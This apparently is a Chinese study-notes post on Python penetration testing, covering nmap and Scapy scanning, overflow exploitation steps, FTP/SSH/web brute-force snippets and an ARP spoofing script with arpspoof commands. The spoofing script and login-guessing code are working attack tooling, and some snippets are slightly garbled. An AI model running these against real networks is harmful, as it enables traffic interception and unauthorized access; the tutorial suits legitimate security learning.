python渗透测试编程

一、SOCKET

socket(family,type)

  1. family,指使用的地址族,常用AF_INET、AF_INET6、AF_LOCAL、AF_ROUTE等。
  2. type,指明socket的类型。 TCP:SOCK_STREAM; UDP:SOCK_DGRAM; 原始类型:SOCK_RAW.

eg:s=socket.socket() 等于 s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

 

bind():服务端SOCKET调用,将与对应端口和IP地址绑定。 s.bind(('127.0.0.1',2345))

listen():服务端开启监听,参数是最大连接数量。 s.listen(5)

accept():服务端接收客户端的连接,并返回(conn,address) conn是新的套接字对象,address是连接客户端地址。

connect():客户端连接到服务器端 s.connect(("192.168.0.1",2345))

send():客户端发送数据 s.send(string)

recv():用于客户端接收数据,参数是接收的最大字节数 s.recv(1024)

 

二、python-nmap

PortScanner:端口扫描

PortScannerAsync:异步进行端口扫描

PortScannerError:nmap的异常错误类

PortScannerHostDict:用于存储和访问主机扫描结果的特殊小类

PortScannerYield:通过生成器使用Python中的nmap

PortScanner类

1.scan( host , port , args ) 方法:以指定方式扫描指定主机或网段的指定端口

参数:

  • host : 要扫描的主机或网段,可以是一个单独的ip:192.168.10.10 ;也可以是一个小范围网段:192.168.10.10-20 ;也可以是一个大网段:192.168.10.0/24
  • port :    可选参数,要扫描的端口,多个端口用逗号隔开,如:20,21,22,23,24
  • args :可选参数,要扫描的方式

import nmap nm = nmap.PortScanner() nm.scan('192.168.10.10-100', '22,21','-sV') 也可以这样 nm.scan(hosts='192.168.1.0/24', arguments='-n -sP -PE -PA21,23,80,3389')

2.command_line() 方法:返回的扫描方法映射到具体的nmap命令行,也就是我们上面执行的nm.scan()命令,对应的具体的nmap的命令

a=nm.command_line() rint(a)###########################nmap -oX - -p 20,21 -sV 192.168.125.134

3.scaninfo() 方法:返回nmap扫描信息,格式为字典类型

a=nm.scaninfo() print(a) ########################### {'tcp': {'services': '20-21', 'method': 'syn'}}

4.all_hosts() 方法:返回nmap扫描的主机清单,格式为列表类型

5.查看扫描主机的详细信息: nm['192.168.125.134']

6.csv()方法:返回值是CSV(逗号分隔值文件格式)的输出。

print(nm.csv()) #用print打印看的更清楚

 

三.Scapy

Scapy是一个Python程序,使用户能够发送,嗅探和剖析并伪造网络数据包。此功能允许构建可以探测,扫描或攻击网络的工具。

内部实现了大量网络协议(DNS,ARP,IP,TCP,UDP等)。

(1).Scapy的基本操作

在Scapy环境中通过ls(Ether())查看Ether类的属性,ls(IP())

ip=IP(dst="192.168.1.101") #构造一个发往“192.168.1.101”的IP数据包 Ether(dst="ff:ff:ff:ff:ff:ff") #通过Ether协议构建一个广播数据包 Ether()/IP()/TCP() #SCAPY的分层通过"/"实现 按照协议由底而上的顺序从左向右排列 IP()/TCP()/"GET/HTTP/1.0\r\n\r\n" #构造一个HTTP数据包

(2).Scapy模块中的函数

send(IP(dst="192.168.1.101")/ICMP()) #发送发往“192.168.1.101”的ICMP数据包 sendp(Ether(dst="ff:ff:ff:ff:ff:ff")) #sendp工作在第二层,send工作在第三层 IP(dst='192.168.1.101')/fuzz(TCP()) #发送内容是随机填充的数据包

发送和接收函数 sr(),sr1()和srp()

sr(),sr1()在第三层,srp()在第二层

>>> sr(IP(dst='192.168.0.161')/ICMP()) Begin emission: Finished sending 1 packets. * Received 1 packets, got 1 answers, remaining 0 packets (, )

通过2个列表保存sr()的返回值,并使用ans.summary()查看2个数据包的内容。

>>> ans,unans=sr(IP(dst="192.168.0.161")/ICMP()) Begin emission: .Finished sending 1 packets. * Received 2 packets, got 1 answers, remaining 0 packets >>> ans.summary() IP / ICMP 192.168.0.160 > 192.168.0.161 echo-request 0 ==> IP / ICMP 192.168.0.161 > 192.168.0.160 echo-reply 0 / Padding

sr1()和sr()区别:sr1()只返回一个应答的包只需要一个列表就可以保存

可以利用sr1()函数来测试目标中的某个端口是否开放,采用半开扫描(SYN),可以看出目标回应了设置了SYN标志位的TCP数据包,表面这个80端口是开放的。

>>> p=sr1(IP(dst="192.168.0.161")/TCP(dport=80,flags="S")) Begin emission: .Finished sending 1 packets. * Received 2 packets, got 1 answers, remaining 0 packets >>> p >>

sniff():可以在自己的程序中捕获经过本机网卡的数据包

sniff(filter=" host 192.168.1.102 and icmp")

 

  1. filte:对数据进行过滤
  2. count:表示捕获数据包数量,默认为0,表示不限制数量
  3. store:表示是否要保存捕获到的数据包默认为1
  4. prn:这个参数是一个函数,这个函数将会应用在每一个捕获的数据包上
  5. iface:表示要使用的网卡或者网卡列表

四、主机状态扫描

1.基于ARP的活跃主机发现技术

ARP是“地址解析协议”。通过互联网通信中的IP地址来获得以太网通信时使用的硬件地址(MAC地址)。在只知道IP地址不知道MAC地址时,向网络上的每台主机广播发送ARP请求,其余主机收到请求后会用自己的IP地址和包中头部的目标主机的IP地址比较,如果匹配,就做出回应。

以此则可知道目标主机是否在线。

2.基于ICMP的活跃主机发现技术

ICMP(互联网控制报文)也位于TCP/IP协议族中的网络层,是用于发现和处理互联网中的错误。ICMP中的报文分为:差错报文和查询报文。查询报文都是由一个请求和一个应答组成。

通过发送ICMP Request,如果有回应,则目标主机在线

3.基于TCP的活跃主机发现技术

TCP(传输控制协议)使用三次握手建立连接,发送请求后,如果主机有回应则是活跃主机

4.基于UDP的活跃主机发现技术

UDP是用户数据报协议,向目标发送UDP数据包后,目标主机活跃且端口关闭的时候会返回ICMP数据包“unreachable”。

5.端口扫描

(1)TCP全开扫描:向目标主机端口发送SYN请求,如果目标主机返回SYN+ACK回应,则说明目标端口开放,最会发送ACK建立TCP连接。

(2)TCP半开扫描:TCP连接可能被目标主机的日志记录下来,而且三次握手中的最后一次是没有用的,在目标返回SYN+ACK后发送RST中断这个连接,这样并没有建立好TCP连接。

 

五、软件溢出漏洞

1.溢出漏洞

kali中生成字符,并判断字符位置

cd /usr/share/metasploit-framework/tools/exploit ./pattern_create.rb -l 500 ./pattern_offset.rb -q 37684136 -l 500

在Immunity Debugger中 使用Mona.py插件 下载后复制到Immunity Debugger安装目录下的PyCommands文件夹中

在命令行中输入!mona 使用这个插件

执行!mona jmp -r esp 来查找JMP ESP命令

2.SEH溢出

程序在异常时会执行异常处理程序,每一条SEH记录都由8个字节组成,前4个字节是它后面的SEH异常处理程序的地址,后四个字节是catch块的地址。

调用catch块的内存地址保存在栈中,使用一条POP/POP/RET指令来改写异常处理程序地址,让程序执行下一条SEH记录,把下一条SEH改成自己想要的shellcode。

六、 身份认证攻击

1.生成长度为2的密码

import itertools words = "1234567890abcdefghijklmnopqrstuvwxyz" temp = itertools.permutations(words,2) passwords = open("dic.txt","a") for i in temp: passwords.write("".join(i)) passwords.write("".join("\n")) passwords.close()

2.FTP暴力破解模块

ftplib模块

  • ftp.connect("IP","port")#连接FTP Server和端口
  • ftp.login("user","password") #连接到用户名和密码
  • ftp.retrlines(command[,callback]) #使用文本传输模式返回在服务器上执行命令的结果

import ftplib ftp=ftplib.FTP("192.168.0.1") ftp.connect("192.168.0.1",21,timeout=10) ftp.login("admin","test") ftp.retrlines('LIST') #使用FTP中的LIST命令,来展示FTP服务器中的文件 ftp.quit() #断开与FTP的连接

3.SSH暴力破解模块

pxssh模块

connect(host,user,password):建立到目标机器的ssh连接 send_command(s,cmd):发送命令 logout():释放该连接 prompt():等待提示符,通常用于等待命令执行结束

4.Web暴力破解模块

requests模块和urllib模块

import requests r = requests.get('http://192.168.0.1') payload={"frmLogin":"true","frmUserName":"root","frmUserPass":"123","Login":"Login!"} resp=requests.post("http://192.168.0.1/login.asp",payload)

通过数据包的返回状态,判断是否登录完成。

通过resp.url查看当前页面,可以判断有没有跳转,即有没有登录成功。

七. 远程控制工具

subprocess模块

1.subprocess.call()函数,执行命令,返回0表示成功,非0表示失败

import subprocess child=subprocess.call("notepad.exe")

2.subprocess.check_call()函数,也是执行命令,如果返回值非0会抛出异常

3.subprocess.check_output()函数,会返回子进程向标准输出的结果

4.subprocess.Popen()函数,上面三个都是基于Popen()函数的封装。

八. Web渗透测试

1.常见的状态代码

  1. 200 Successful request:请求已成功,请求所希望的响应头或数据体将随此响应返回。
  2. 201 Request was newly c:请求已经被实现,而且有一个新的资源已经依据请求的需要二建立,且URI已经随Location:头信息返回。假如需要的资源无法及时建立,应当返回‘202 Accepted’
  3. 301 Resource moved perm:永久移动。请求的资源已被永久地移动到新的URI,返回信息会包括新的URI,浏览器会自动定向到新的URI。今后的任何请求都应使用新的URI代替。
  4. 307 Resource moved temp:临时重定向。
  5. 400 Invalid request:客户端请求的语法错误,服务器无法理解。
  6. 401 thorization required:请求要求用户的身份认证。
  7. 403 cess denied:服务器理解请求用户的请求,但是拒绝执行此请求。
  8. 404 Resource could not be:服务器无法根据客户端的请求找到资源(网页)。通过此代码,网站设计人员可设置“您所请求的资源无法找到”的个性页面
  9. 405 Method not allowed:客户端请求中的方法被禁止。
  10. 500 Internal server error:服务器内部错误,无法完成请求。

2.urllib2模块的使用

import urllib2 response=urllib2.urlopen("http://www.baidu.com") #打开一个链接地址 response.read() #读取网页的全部HTML代码 print response.info() #获取服务器发送的headers信息

getcode():返回HTTP状态码。

geturl():获取真实打开的地址。

3.httplib2模块

4.requests模块

5.BeautifulSoup模块

6.cookielib模块

九.网络嗅探与欺骗

1.ARP欺骗的原理

arpspoof [-i 网卡] [-t 欺骗的主机] [-r] 要伪装的主机

arpspoof -i eth0 -t 192.168.0.1 192.168.0.10

echo 1|>> /proc/sys/net/ipv4/ip_forward 将截获的数据包转发出去

#一个ARP欺骗程序 import sys from scapy.all import sendp,ARP,Ether if len(sys.argv)!=3: print sys.argv[0] + ": " sys.exit(1) victimIP=sys.argv[1] gatewayIP=sys.argv[2] packet=Ether()/ARP(psrc=gatewayIP,pdst=victimIP) while 1: sendp(packet) time.sleep(10) print packet.show()

 

你可能感兴趣的:(渗透测试)